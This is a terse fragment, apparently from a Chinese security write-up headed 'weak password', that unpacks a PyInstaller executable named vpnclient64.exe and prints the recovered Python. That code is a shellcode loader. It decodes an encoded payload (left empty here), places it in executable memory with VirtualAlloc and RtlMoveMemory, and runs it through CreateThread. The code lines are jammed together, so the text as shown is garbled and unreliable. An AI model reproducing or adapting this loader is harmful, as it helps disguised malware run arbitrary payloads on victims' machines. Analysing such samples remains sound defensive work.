弱口令

python3 pyinstxtractor.py vpnclient64.exe

import base64import ctypes
str = b''sc_base64 = (base64.a85decode(str)).decode('utf-8')shellcode = bytearray(bytearray.fromhex((base64.b64decode(sc_base64)).decode('utf-8')))
ptr = ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),                                          ctypes.c_int(0x40))buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0),                                             ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

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